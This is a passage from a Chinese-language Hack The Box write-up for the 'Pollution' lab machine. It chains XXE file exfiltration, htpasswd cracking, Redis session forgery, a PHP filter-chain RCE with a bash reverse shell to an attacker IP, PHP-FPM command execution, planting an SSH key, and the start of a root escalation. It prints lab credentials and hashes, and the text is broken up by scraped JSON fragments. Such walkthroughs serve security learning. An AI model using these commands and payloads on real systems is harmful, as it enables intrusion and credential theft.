$ python3 -m http.server 6060\nServing HTTP on 0.0.0.0 port 6060 (http://0.0.0.0:6060/) ...\n10.129.38.17 - - [06/Sep/2026 21:59:06] \"GET /evil.dtd HTTP/1.1\" 200 -\n10.129.38.17 - - [06/Sep/2026 21:59:07] code 404, message File not found\n10.129.38.17 - - [06/Sep/2026 21:59:07] \"GET /cG9sbHV0aW9uCg== HTTP/1.1\" 404 -\n

","text":"$$ python3 -m http.server 6060 Serving HTTP on 0.0.0.0 port 6060 (http://0.0.0.0:6060/) ... 10.129.38.17 - - [06/Sep/2026 21:59:06] \"GET /evil.dtd HTTP/1.1\" 200 - 10.129.38.17 - - [06/Sep/2026 21:59:07] code 404, message File not found 10.129.38.17 - - [06/Sep/2026 21:59:07] \"GET /cG9sbHV0aW9uCg== HTTP/1.1\" 404 -"},{"id":"b74","type":"paragraph","html":"

$ echo -ne 'cG9sbHV0aW9uCg==' | base64 -d\npollution\n

","text":"$$ echo -ne 'cG9sbHV0aW9uCg==' | base64 -d pollution"},{"id":"b75","type":"paragraph","html":"

既然我們能看到檔案，那就試試看能不能看到 developers.collect.htb 的密碼。後端用的是 Apache，就圍繞它去找 Config Files，最後是 /etc/apache2/sites-available/000-default.conf 找到了立足點：

","text":"既然我們能看到檔案，那就試試看能不能看到 developers.collect.htb 的密碼。後端用的是 Apache，就圍繞它去找 Config Files，最後是 /etc/apache2/sites-available/000-default.conf 找到了立足點："},{"id":"b76","type":"paragraph","html":"

<VirtualHost *:80>\n...<SNIP>...\n\tServerAdmin webmaster@localhost\n\tDocumentRoot /var/www/collect/public\n...<SNIP>...\n</VirtualHost>\n\n# vim: syntax=apache ts=4 sw=4 sts=4 sr noet\n

","text":" ...... ServerAdmin webmaster@localhost DocumentRoot /var/www/collect/public ...... # vim: syntax=apache ts=4 sw=4 sts=4 sr noet"},{"id":"b77","type":"paragraph","html":"

看來網站程式碼的目錄都在 var/www/<sitename>，在 sites-available 目錄下繼續枚舉，果然找到了 /etc/apache2/sites-available/developers.collect.htb.conf：

","text":"看來網站程式碼的目錄都在 var/www/，在 sites-available 目錄下繼續枚舉，果然找到了 /etc/apache2/sites-available/developers.collect.htb.conf："},{"id":"b78","type":"paragraph","html":"

<VirtualHost *:80>\n...<SNIP>...\n\tServerAdmin collect@localhost\n\tServerName developers.collect.htb\n\tDocumentRoot /var/www/developers\n...<SNIP>...\n\t<Directory \"/var/www/developers\">\n\t\tAuthType Basic\n\t\tAuthName \"Restricted Content\"\n\t\tAuthUserFile /var/www/developers/.htpasswd\n\t\tRequire valid-user\n\t</Directory>\n\t\n\n\tErrorLog ${APACHE_LOG_DIR}/error.log\n\tCustomLog ${APACHE_LOG_DIR}/access.log combined\n...<SNIP>...\n</VirtualHost>\n

","text":" ...... ServerAdmin collect@localhost ServerName developers.collect.htb DocumentRoot /var/www/developers ...... AuthType Basic AuthName \"Restricted Content\" AuthUserFile /var/www/developers/.htpasswd Require valid-user ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined ...... "},{"id":"b79","type":"paragraph","html":"

看到了關鍵字 /var/www/developers/.htpasswd，解碼後果然看到了 Hash：

","text":"看到了關鍵字 /var/www/developers/.htpasswd，解碼後果然看到了 Hash："},{"id":"b80","type":"paragraph","html":"

developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1\n

","text":"developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1"},{"id":"b81","type":"paragraph","html":"

丟去 hashcat 用 rockyou.txt 解碼馬上找到了密碼 r0cket：

","text":"丟去 hashcat 用 rockyou.txt 解碼馬上找到了密碼 r0cket："},{"id":"b82","type":"paragraph","html":"

$ hashcat evidences/cred/developers_account_passwords.txt ~/Shared/wordlists/rockyou.txt\n...<SNIP>...\n$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1:r0cket\n\nSession..........: hashcat\nStatus...........: Cracked\nHash.Mode........: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR))\nHash.Target......: $apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1\n...<SNIP>...\n

","text":"$$ hashcat evidences/cred/developers_account_passwords.txt ~/Shared/wordlists/rockyou.txt ...... $apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1:r0cket Session..........: hashcat Status...........: Cracked Hash.Mode........: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR)) Hash.Target......: $apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1 ......"},{"id":"b83","type":"heading","html":"

Redis

","text":"Redis"},{"id":"b84","type":"paragraph","html":"

用 developers_group:r0cket 登入後又看到了一個登入介面 ._ .

","text":"用 developers_group:r0cket 登入後又看到了一個登入介面 ._ ."},{"id":"b86","type":"paragraph","html":"

用之前註冊的帳密和 developers_group:r0cket 都登不進去，於是開始利用 Out-of-Bound XXE 從 /var/www/developers/login.php 看原始碼，結果馬上就看到：

","text":"用之前註冊的帳密和 developers_group:r0cket 都登不進去，於是開始利用 Out-of-Bound XXE 從 /var/www/developers/login.php 看原始碼，結果馬上就看到："},{"id":"b87","type":"paragraph","html":"

<?php\nrequire './bootstrap.php';\n \nif (isset($_SESSION['auth']) && $_SESSION['auth'] == True) {\n    die(header('Location: /'));\n}\n \n$db = new mysqli('localhost', 'webapp_user', 'Str0ngP4ssw0rdB*12@1', 'developers');\n$db->set_charset('utf8mb4');\n$db->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1);

","text":"set_charset('utf8mb4'); $db->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1);"},{"id":"b88","type":"paragraph","html":"

在 mysqli 函式看到了 MySQL 帳密 webapp_user:Str0ngP4ssw0rdB*12@1，至於 Session 在 bootstrap.php 就已經綁定到 Redis 上了：

","text":"在 mysqli 函式看到了 MySQL 帳密 webapp_user:Str0ngP4ssw0rdB*12@1，至於 Session 在 bootstrap.php 就已經綁定到 Redis 上了："},{"id":"b89","type":"paragraph","html":"

<?php\n \nini_set('session.save_handler', 'redis');\nini_set('session.save_path', 'tcp://localhost:6379/?auth=COLLECTR3D1SPASS');\n \nsession_start();\n \nrequire '../vendor/autoload.php';

","text":"我們最開始枚舉就有看到 Redis 的端口，拿 COLLECTR3D1SPASS 當作密碼，透過 redis-cli 連線就進去了：

","text":"我們最開始枚舉就有看到 Redis 的端口，拿 COLLECTR3D1SPASS 當作密碼，透過 redis-cli 連線就進去了："},{"id":"b91","type":"paragraph","html":"

$ redis-cli -h pollution.htb\npollution.htb:6379> AUTH COLLECTR3D1SPASS\nOK\npollution.htb:6379> KEYS *\n1) \"PHPREDIS_SESSION:qh2p91uv2etij667k0iplk6nv7\"\n2) \"PHPREDIS_SESSION:bb3uvmvohfcqdvihvmg2bdois0\"\n

","text":"$$ redis-cli -h pollution.htb pollution.htb:6379> AUTH COLLECTR3D1SPASS OK pollution.htb:6379> KEYS * 1) \"PHPREDIS_SESSION:qh2p91uv2etij667k0iplk6nv7\" 2) \"PHPREDIS_SESSION:bb3uvmvohfcqdvihvmg2bdois0\""},{"id":"b92","type":"paragraph","html":"

那個 bb3uvmvohfcqdvihvmg2bdois0 就是我們的 PHPREDIS_SESSION：

","text":"那個 bb3uvmvohfcqdvihvmg2bdois0 就是我們的 PHPREDIS_SESSION："},{"id":"b94","type":"paragraph","html":"

透過 login.php 可以看出只要 $_SESSION['auth'] == True 就可以登入，反正帳密判斷式不輸入也不會走到：

","text":"透過 login.php 可以看出只要 $_SESSION['auth'] == True 就可以登入，反正帳密判斷式不輸入也不會走到："},{"id":"b95","type":"paragraph","html":"

<?php\nrequire './bootstrap.php';\n \nif (isset($_SESSION['auth']) && $_SESSION['auth'] == True) {\n    die(header('Location: /'));\n}\n// ...<SNIP>...

","text":"..."},{"id":"b96","type":"paragraph","html":"

所以在 Redis 設定 auth = True：

","text":"所以在 Redis 設定 auth = True："},{"id":"b97","type":"paragraph","html":"

pollution.htb:6379> SET PHPREDIS_SESSION:bb3uvmvohfcqdvihvmg2bdois0 'auth|b:1;'\nOK\n

","text":"pollution.htb:6379> SET PHPREDIS_SESSION:bb3uvmvohfcqdvihvmg2bdois0 'auth|b:1;' OK"},{"id":"b98","type":"paragraph","html":"

重新刷新後就可以進去了：

","text":"重新刷新後就可以進去了："},{"id":"b100","type":"heading","html":"

PHP Filter to RCE

","text":"PHP Filter to RCE"},{"id":"b101","type":"paragraph","html":"

看到首頁 URL 長 http://developers.collect.htb/?page=home，一臉很好 LFI 的樣子。我首先用 ffuf 搭配 LFI-Jhaddix.txt 爆破，但沒有掃出東西。之後換 PHP Filter 就找到漏洞了：

","text":"看到首頁 URL 長 http://developers.collect.htb/?page=home，一臉很好 LFI 的樣子。我首先用 ffuf 搭配 LFI-Jhaddix.txt 爆破，但沒有掃出東西。之後換 PHP Filter 就找到漏洞了："},{"id":"b103","type":"paragraph","html":"

然後我這裡看了別人的 writeup 才知道 PHP Filter 可以 RCE，具體原理可以看我寫的另一篇文章 PHP Filter to RCE。總之我們利用這個工具製作酬載：

","text":"然後我這裡看了別人的 writeup 才知道 PHP Filter 可以 RCE，具體原理可以看我寫的另一篇文章 PHP Filter to RCE。總之我們利用這個工具製作酬載："},{"id":"b104","type":"paragraph","html":"

$ python3 php_filter_chain_generator.py --chain '<?php system($_GET[\"cmd\"]) ?>'\n\n[+] The following gadget chain will generate the following code : <?php system($_GET[\"cmd\"]) ?> (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSkgPz4)\nphp://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|<SNIP>|convert.base64-decode/resource=php://temp\n

","text":"$$ python3 php_filter_chain_generator.py --chain '' [+] The following gadget chain will generate the following code : (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSkgPz4) php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7||convert.base64-decode/resource=php://temp"},{"id":"b106","type":"paragraph","html":"

生成 Reverse Shell 的 base64 編碼：

","text":"生成 Reverse Shell 的 base64 編碼："},{"id":"b107","type":"paragraph","html":"

$ base64 <<< 'bash -c \"bash -i >& /dev/tcp/10.10.17.56/6061 0>&1\"'\nYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy41Ni82MDYxIDA+JjEiCg==\n

","text":"$$ base64 <<< 'bash -c \"bash -i >& /dev/tcp/10.10.17.56/6061 0>&1\"' YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy41Ni82MDYxIDA+JjEiCg=="},{"id":"b108","type":"paragraph","html":"

最後在 cmd 輸入 echo 'YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy41Ni82MDYxIDA+JjEiCg==' | base64 -d | bash 就可以拿到 shell 了：

","text":"最後在 cmd 輸入 echo 'YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy41Ni82MDYxIDA+JjEiCg==' | base64 -d | bash 就可以拿到 shell 了："},{"id":"b110","type":"paragraph","html":"

$ nc -lvnp 6061\nlistening on [any] 6061 ...\n\nconnect to [10.10.17.56] from (UNKNOWN) [10.129.38.17] 47714\nbash: cannot set terminal process group (973): Inappropriate ioctl for device\nbash: no job control in this shell\nwww-data@pollution:~/developers$\n

","text":"$$ nc -lvnp 6061 listening on [any] 6061 ... connect to [10.10.17.56] from (UNKNOWN) [10.129.38.17] 47714 bash: cannot set terminal process group (973): Inappropriate ioctl for device bash: no job control in this shell www-data@pollution:~/developers$"},{"id":"b111","type":"heading","html":"

Shell as victor

","text":"Shell as victor"},{"id":"b112","type":"heading","html":"

Password Attacks [failed]

","text":"Password Attacks [failed]"},{"id":"b113","type":"paragraph","html":"

枚舉一下，發現系統上還有另一個使用者 victor：

","text":"枚舉一下，發現系統上還有另一個使用者 victor："},{"id":"b114","type":"paragraph","html":"

www-data@pollution:~/developers$ cat /etc/passwd | grep sh$\nroot:x:0:0:root:/root:/bin/bash\nvictor:x:1002:1002::/home/victor:/bin/bash\n

","text":"www-data@pollution:~/developers$ cat /etc/passwd | grep sh$ root:x:0:0:root:/root:/bin/bash victor:x:1002:1002::/home/victor:/bin/bash"},{"id":"b115","type":"paragraph","html":"

記得我們在 login.php 有看到 MySQL 的帳密 webapp_user:Str0ngP4ssw0rdB*12@1，用 mysql 連線，果然成功進去了，可以看到有不少資料庫：

","text":"記得我們在 login.php 有看到 MySQL 的帳密 webapp_user:Str0ngP4ssw0rdB*12@1，用 mysql 連線，果然成功進去了，可以看到有不少資料庫："},{"id":"b116","type":"paragraph","html":"

www-data@pollution:~/developers$ mysql -u 'webapp_user' -p\nEnter password:\n...<SNIP>...\nMariaDB [(none)]> show databases;\n+--------------------+\n| Database           |\n+--------------------+\n| developers         |\n| forum              |\n| information_schema |\n| mysql              |\n| performance_schema |\n| pollution_api      |\n| webapp             |\n+--------------------+\n7 rows in set (0.001 sec)\n

","text":"www-data@pollution:~/developers$ mysql -u 'webapp_user' -p Enter password: ...... MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | developers | | forum | | information_schema | | mysql | | performance_schema | | pollution_api | | webapp | +--------------------+ 7 rows in set (0.001 sec)"},{"id":"b117","type":"paragraph","html":"

在逐一列舉後找到了以下機敏資料：

","text":"在逐一列舉後找到了以下機敏資料："},{"id":"b118","type":"paragraph","html":"$1d","text":"$1e"},{"id":"b119","type":"paragraph","html":"

看看在 forum 能不能拿到 victor 的密碼，在 functions_user.php 看到密碼生成使用 $hash = md5(md5($salt).md5($password));，本來想用 hashcat -hh 搜雜湊格式，沒找到，後來改搜平台名稱才找到對應的模式：

","text":"看看在 forum 能不能拿到 victor 的密碼，在 functions_user.php 看到密碼生成使用 $hash = md5(md5($salt).md5($password));，本來想用 hashcat -hh 搜雜湊格式，沒找到，後來改搜平台名稱才找到對應的模式："},{"id":"b120","type":"paragraph","html":"

$ hashcat -hh | grep 'md5(md5($salt).md5($pass))'\n\n$ hashcat -hh | grep -iE 'mybb|invision'\n   2811 | MyBB 1.2+, IPB2+ (Invision Power Board)                    | Forums, CMS, E-Commerce\n

","text":"$$ hashcat -hh | grep 'md5(md5($salt).md5($pass))' $ hashcat -hh | grep -iE 'mybb|invision' 2811 | MyBB 1.2+, IPB2+ (Invision Power Board) | Forums, CMS, E-Commerce"},{"id":"b121","type":"paragraph","html":"

然而用 hashcat 卻什麼都沒爆出來：

","text":"然而用 hashcat 卻什麼都沒爆出來："},{"id":"b122","type":"paragraph","html":"

$ cat forum.txt\nadministrator_forum:b254efc2c5716af2089ffeba1abcbf30:DFFbL50R\njohn:e1ec52d73242b78fdee6be117569b602:UsWOsbCe\nvictor:b454fd07d44b27f1d528efba841c9717:Guls6xA8\nsysadmin:477a429cddfc475b9100958cae9204b1:3aUhiPN0\njeorge:5d13d9d4b1f368280b8426800a85702e:7HINOv17\nlyon:5eab3ec757f8352597ab74361fda8bcc:glx7Hpzh\njane:972470c4c1a3f53029e56007abcf39fc:YGjmCmvg\nkarldev:285127d01d188c8827c9fded33bf6f9e:KUWyAcfh\naoeu:3effc4d7c5f139b1a7ebe570236340ec:DO6Vr5OT\n\n$ hashcat -m 2811 forum.txt ~/Shared/wordlists/rockyou.txt --username -O\n...<SNIP>...\nApproaching final keyspace - workload adjusted.\n\n\nSession..........: hashcat\nStatus...........: Exhausted\nHash.Mode........: 2811 (MyBB 1.2+, IPB2+ (Invision Power Board))\nHash.Target......: forum.txt\n...<SNIP>...\n

","text":"$$ cat forum.txt administrator_forum:b254efc2c5716af2089ffeba1abcbf30:DFFbL50R john:e1ec52d73242b78fdee6be117569b602:UsWOsbCe victor:b454fd07d44b27f1d528efba841c9717:Guls6xA8 sysadmin:477a429cddfc475b9100958cae9204b1:3aUhiPN0 jeorge:5d13d9d4b1f368280b8426800a85702e:7HINOv17 lyon:5eab3ec757f8352597ab74361fda8bcc:glx7Hpzh jane:972470c4c1a3f53029e56007abcf39fc:YGjmCmvg karldev:285127d01d188c8827c9fded33bf6f9e:KUWyAcfh aoeu:3effc4d7c5f139b1a7ebe570236340ec:DO6Vr5OT $ hashcat -m 2811 forum.txt ~/Shared/wordlists/rockyou.txt --username -O ...... Approaching final keyspace - workload adjusted. Session..........: hashcat Status...........: Exhausted Hash.Mode........: 2811 (MyBB 1.2+, IPB2+ (Invision Power Board)) Hash.Target......: forum.txt ......"},{"id":"b123","type":"heading","html":"

FastCGI

","text":"FastCGI"},{"id":"b124","type":"paragraph","html":"

那就先看看其它攻擊面，枚舉一段時間後我注意到 victor 有在跑一個叫 php-fpm: pool victor 的行程：

","text":"那就先看看其它攻擊面，枚舉一段時間後我注意到 victor 有在跑一個叫 php-fpm: pool victor 的行程："},{"id":"b125","type":"paragraph","html":"

www-data@pollution:~/developers$ ps aux | grep victor\nvictor      1083  0.0  0.4 265840 15984 ?        S    Sep06   0:00 php-fpm: pool victor\nvictor      1084  0.0  0.4 265840 15984 ?        S    Sep06   0:00 php-fpm: pool victor\nwww-data    6727  0.0  0.0   6608   700 pts/0    S+   00:45   0:00 grep victor\n

","text":"www-data@pollution:~/developers$ ps aux | grep victor victor 1083 0.0 0.4 265840 15984 ? S Sep06 0:00 php-fpm: pool victor victor 1084 0.0 0.4 265840 15984 ? S Sep06 0:00 php-fpm: pool victor www-data 6727 0.0 0.0 6608 700 pts/0 S+ 00:45 0:00 grep victor"},{"id":"b126","type":"paragraph","html":"

後來找了一圈資料，才發現不需要漏洞，正常互動就可以執行命令了。搜尋 PHP-FPM code execution client 找到了這個 Python 腳本，遵循用法即可拿到 user.txt：

","text":"後來找了一圈資料，才發現不需要漏洞，正常互動就可以執行命令了。搜尋 PHP-FPM code execution client 找到了這個 Python 腳本，遵循用法即可拿到 user.txt："},{"id":"b127","type":"paragraph","html":"

www-data@pollution:/tmp$ python3 fpm.py -c '<?php system(\"cat /home/victor/user.txt\"); ?>' -p 9000 127.0.0.1 /var/www/developers/index.php\n...<SNIP>...\n779e************************c8b0\n

","text":"www-data@pollution:/tmp$ python3 fpm.py -c '' -p 9000 127.0.0.1 /var/www/developers/index.php ...... 779e************************c8b0"},{"id":"b128","type":"paragraph","html":"

試了一些拿 shell 的方法，最後透過寫入我們 SSH 公鑰的方式取得了 victor 的 shell：

","text":"試了一些拿 shell 的方法，最後透過寫入我們 SSH 公鑰的方式取得了 victor 的 shell："},{"id":"b129","type":"paragraph","html":"

www-data@pollution:/tmp$ python3 fpm.py -p 9000 127.0.0.1 /var/www/developers/index.php -c '<?php system(\"ls -al /home/victor/.ssh\");?>'\n...<SNIP>...\ntotal 8\ndrwx------  2 victor victor 4096 Nov 21  2022 .\ndrwx------ 16 victor victor 4096 Nov 21  2022 ..\n\nwww-data@pollution:/tmp$ python3 fpm.py -p 9000 127.0.0.1 /var/www/developers/index.php -c '<?php system(\"echo \\\"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ8003uUny50yIblpanwfMV2w4W7l2ODA3epo8g3pKr/ abb00717@abb00717-kali\\\" > /home/victor/.ssh/authorized_keys\");?>'\n...<SNIP>...\n\nwww-data@pollution:/tmp$ python3 fpm.py -p 9000 127.0.0.1 /var/www/developers/index.php -c '<?php system(\"chmod 600 /home/victor/.ssh/authorized_keys\");?>'\n...<SNIP>...\n

","text":"www-data@pollution:/tmp$ python3 fpm.py -p 9000 127.0.0.1 /var/www/developers/index.php -c '' ...... total 8 drwx------ 2 victor victor 4096 Nov 21 2022 . drwx------ 16 victor victor 4096 Nov 21 2022 .. www-data@pollution:/tmp$ python3 fpm.py -p 9000 127.0.0.1 /var/www/developers/index.php -c ' /home/victor/.ssh/authorized_keys\");?>' ...... www-data@pollution:/tmp$ python3 fpm.py -p 9000 127.0.0.1 /var/www/developers/index.php -c '' ......"},{"id":"b130","type":"paragraph","html":"

從 SSH 正常登入就可以了：

","text":"從 SSH 正常登入就可以了："},{"id":"b131","type":"paragraph","html":"

$ ssh victor@pollution.htb -i ./victor_key\n...<SNIP>...\nvictor@pollution:~$ id\nuid=1002(victor) gid=1002(victor) groups=1002(victor)\n

","text":"$$ ssh victor@pollution.htb -i ./victor_key ...... victor@pollution:~$ id uid=1002(victor) gid=1002(victor) groups=1002(victor)"},{"id":"b132","type":"heading","html":"

Shell as root

","text":"Shell as root"},{"id":"b133","type":"paragraph","html":"

在 victor 的家目錄下我們找到了叫 pollution_api 的專案：

","text":"在 victor 的家目錄下我們找到了叫 pollution_api 的專案："},{"id":"b134","type":"paragraph","html":"

victor@pollution:~$ ls -al pollution_api/\ntotal 116\ndrwxr-xr-x  8 victor victor  4096 Nov 21  2022 .\ndrwx------ 16 victor victor  4096 Nov 21  2022 ..\ndrwxr-xr-x  2 victor victor  4096 Nov 21  2022 controllers\ndrwxr-xr-x  2 victor victor  4096 Nov 21  2022 functions\n-rw-r--r--  1 victor victor   528 Sep  2  2022 index.js\ndrwxr-xr-x  5 victor victor  4096 Nov 21  2022 logs\n-rwxr-xr-x  1 victor victor   574 Aug 26  2022 log.sh\ndrwxr-xr-x  2 victor victor  4096 Nov 21  2022 models\ndrwxr-xr-x 97 victor victor  4096 Nov 21  2022 node_modules\n-rw-r--r--  1 victor victor   160 Aug 26  2022 package.json\n-rw-r--r--  1 victor victor 71730 Aug 26  2022 package-lock.json\ndrwxr-xr-x  2 victor victor  4096 Nov 21  2022 routes\n

","text":"victor@pollution:~$ ls -al pollution_api/ total 116 drwxr-xr-x 8 victor victor 4096 Nov 21 2022 . drwx------ 16 victor victor 4096 Nov 21 2022 .. drwxr-xr-x 2 victor victor 4096 Nov 21 2022 controllers drwxr-xr-x 2 victor victor 4096 Nov 21 2022 functions -rw-r--r-- 1 victor victor 528 Sep 2 2022 index.js drwxr-xr-x 5 victor victor 4096 Nov 21 2022 logs -rwxr-xr-x 1 victor victor 574 Aug 26 2022 log.sh drwxr-xr-x 2 victor victor 4096 Nov 21 2022 models drwxr-xr-x 97 victor victor 4096 Nov 21 2022 node_modules -rw-r--r-- 1 victor victor 160 Aug 26 2022 package.json -rw-r--r-- 1 victor victor 71730 Aug 26 2022 package-lock.json drwxr-xr-x 2 victor victor 4096 Nov 21 2022 routes"},{"id":"b135","type":"paragraph","html":"

稍微又枚舉了一下，發現該專案居然是以 root 身份執行的：

","text":"稍微又枚舉了一下，發現該專案居然是以 root 身份執行的："},{"id":"b136","type":"paragraph","html":"

victor@pollution:~$ ps aux | grep pollution_api\nroot        1413  0.0  1.8 1664060 75368 ?       Sl   Sep06   0:00 /usr/bin/node /root/pollution_api/index.js\nvictor      6896  0.0  0.0   6268   644 pts/1    S+   01:03   0:00 grep pollution_api\n

","text":"victor@pollution:~$ ps aux | grep pollution_api root 1413 0.0 1.8 1664060 75368 ? Sl Sep06 0:00 /usr/bin/node /root/pollution_api/index.js victor 6896 0.0 0.0 6268 644 pts/1 S+ 01:03 0:00 grep pollution_api"},{"id":"b137","type":"paragraph","html":"

如果我們能找到該專案的漏洞，就可能拿到 root 權限。從 index.js 看到專案開在端口 3000：

","text":"如果我們能找到該專案的漏洞，就可能拿到 root 權限。從 index.js 看到專案開在端口 3000："},{"id":"b138","type":"paragraph","html":"

app.get('/',(req,res)=>{\n    res.json({Status: \"Ok\", Message: 'Read documentation from api in /documentation'});\n})\n \napp.use('/auth',require('./routes/auth'));\napp.use('/client',require('./routes/client'));\napp.use('/admin',require('./routes/admin'));\napp.use('/documentation',require('./routes/documentation'));\n \napp.listen(3000, '127.0.0.1');\nconsole.log('Listen on http://localhost:3000');

","text":"app.get('/',(req,res)=>{ res.json({Status: \"Ok\", Message: 'Read documentation from api in /documentation'}); }) app.use('/auth',require('./routes/auth')); app.use('/client',require('./routes/client')); app.use('/admin',require('./routes/admin')); app.use('/documentation',require('./routes/documentation')); app.listen(3000, '127.0.0.1'); console.log('Listen on http://localhost:3000');"},{"id":"b139","type":"paragraph","html":"

透過 /documentation 可以看到詳細的 API 端點介紹：

","text":"透過 /documentation 可以看到詳細的 API 端點介紹："},{"id":"b140","type":"paragraph","html":"

victor@pollution:~$ curl 'http://127.0.0.1:3000/documentation'\n{\n  \"Documentation\": {\n    \"Routes\": {\n      \"/\": {\n        \"Methods\": \"GET\",\n        \"Params\": null\n      },\n      \"/auth/register\": {\n        \"Methods\": \"POST\",\n        \"Params\": {\n          \"username\": \"username\",\n          \"password\": \"password\"\n        }\n      },\n      \"/auth/login\": {\n        \"Methods\": \"POST\",\n        \"Params\": {\n          \"username\": \"username\",\n          \"password\": \"password\"\n        }\n      },\n      \"/client\": {\n        \"Methods\": \"GET\",\n        \"Params\": null\n      },\n      \"/admin/messages\": {\n        \"Methods\": \"POST\",\n        \"Params\": {\n          \"id\": \"messageid\"\n        }\n      },\n      \"/admin/messages/send\": {\n        \"Methods\": \"POST\",\n        \"Params\": {\n          \"text\": \"message text\"\n        }\n      }\n    }\n  }\n}\n

","text":"victor@pollution:~$ curl 'http://127.0.0.1:3000/documentation' { \"Documentation\": { \"Routes\": { \"/\": { \"Methods\": \"GET\", \"Params\": null }, \"/auth/register\": { \"Methods\": \"POST\", \"Params\": { \"username\": \"username\", \"password\": \"password\" } }, \"/auth/login\": { \"Methods\": \"POST\", \"Params\": { \"username\": \"username\", \"password\": \"password\" } }, \"/client\": { \"Methods\": \"GET\", \"Params\": null }, \"/admin/messages\": { \"Methods\": \"POST\", \"Params\": { \"id\": \"messageid\" } }, \"/admin/messages/send\": { \"Methods\": \"POST\", \"Params\": { \"text\": \"message text\" } } } } }"},{"id":"b141","type":"heading","html":"

修改帳號權限至 admin

","text":"修改帳號權限至 admin"},{"id":"b142","type":"paragraph","html":"

先註冊帳號：

","text":"先註冊帳號："},{"id":"b143","type":"paragraph","html":"

victor@pollution:~$ curl 'http://127.0.0.1:3000/auth/register' -X POST -d '{\"username\": \"aoeu\", \"password\": \"aoeu\"}' -H 'Content-Type: application/json'\n{\"Status\":\"Ok\"}\n

","text":"victor@pollution:~$ curl 'http://127.0.0.1:3000/auth/register' -X POST -d '{\"username\": \"aoeu\", \"password\": \"aoeu\"}' -H 'Content-Type: application/json' {\"Status\":\"Ok\"}"},{"id":"b144","type":"paragraph","html":"

帳戶註冊與登入的邏輯都在 auth.js 裡頭，透過 /register 發現 User 有分 role，預設使用 user，/login 會從資料庫抓 role 來決定 signtoken 的權限。

","text":"帳戶註冊與登入的邏輯都在 auth.js 裡頭，透過 /register 發現 User 有分 role，預設使用 user，/login 會從資料庫抓 role 來決定 signtoken 的權限。"},{"id":"b145","type":"paragraph","html":"$1f","text":"$20"},{"id":"b146","type":"quote","html":"

\n\n \n
log.sh 是啥？
\n \n \n\n
若你好奇 log.sh 是啥，他就只是一個根據參數自動生成 Log 的腳本而已：
\n
#!/bin/bash\n \nif [ $1 == 'log_message' ]\nthen\n \n    date=$(date '+%d-%m-%Y-%H:%M:%S');\n# ...<SNIP>...
\n
因為 $1 沒有加雙引號，所以會造成一些問題，但重點是我們根本沒有機會傳遞參數，因此這裡不展開。
\n\n

","text":"log.sh 是啥？若你好奇 log.sh 是啥，他就只是一個根據參數自動生成 Log 的腳本而已： #!/bin/bash if [ $1 == 'log_message' ] then date=$(date '+%d-%m-%Y-%H:%M:%S'); # ...... 因為 $1 沒有加雙引號，所以會造成一些問題，但重點是我們根本沒有機會傳遞參數，因此這裡不展開。"},{"id":"b147","type":"paragraph","html":"

從 admin.js 也能看到它是依據 token 比較權限的，而非根據資料庫：

","text":"從 admin.js 也能看到它是依據 token 比較權限的，而非根據資料庫："},{"id":"b148","type":"paragraph","html":"

router.use('/', async (req, res, next) => {\n    if (req.headers[\"x-access-token\"]) {\n        const token = decodejwt(req.headers[\"x-access-token\"]);\n        if (token) {\n            const find = await User.findAll({\n                where: {\n                    username: token.user,\n                    role: token.role\n                }\n            });\n \n            if (find.length > 0) {\n                if (find[0].username == token.user && find[0].role == token.role && token.role == \"admin\") {\n                    return next();\n                }\n// ...<SNIP>...

","text":"router.use('/', async (req, res, next) => { if (req.headers[\"x-access-token\"]) { const token = decodejwt(req.headers[\"x-access-token\"]); if (token) { const find = await User.findAll({ where: { username: token.user, role: token.role } }); if (find.length > 0) { if (find[0].username == token.user && find[0].role == token.role && token.role == \"admin\") { return next(); } // ......"},{"id":"b149","type":"paragraph","html":"

不過既然我們都有資料庫的存取權限了，那就直接改就好啦：

","text":"不過既然我們都有資料庫的存取權限了，那就直接改就好啦："},{"id":"b150","type":"paragraph","html":"$21","text":"$22"},{"id":"b151","type":"paragraph","html":"

登入後成功拿到 x-access-token：

","text":"登入後成功拿到 x-access-token："},{"id":"b152","type":"paragraph","html":"

victor@pollution:~$ curl 'http://127.0.0.1:3000/auth/login' -X POST -d '{\"username\": \"aoeu\", \"password\": \"aoeu\"}' -H 'Content-Type: application/json'\n{\"Status\":\"Ok\",\"Header\":{\"x-access-token\":\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYW9ldSIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4ODgzNjQzOCwiZXhwIjoxNzg4ODQwMDM4fQ._8SC7GiRt14YXNLaPD4fcR7pVTVNTOVbQJQ6ptMzcEM\"}}victor@pollution:~$\n

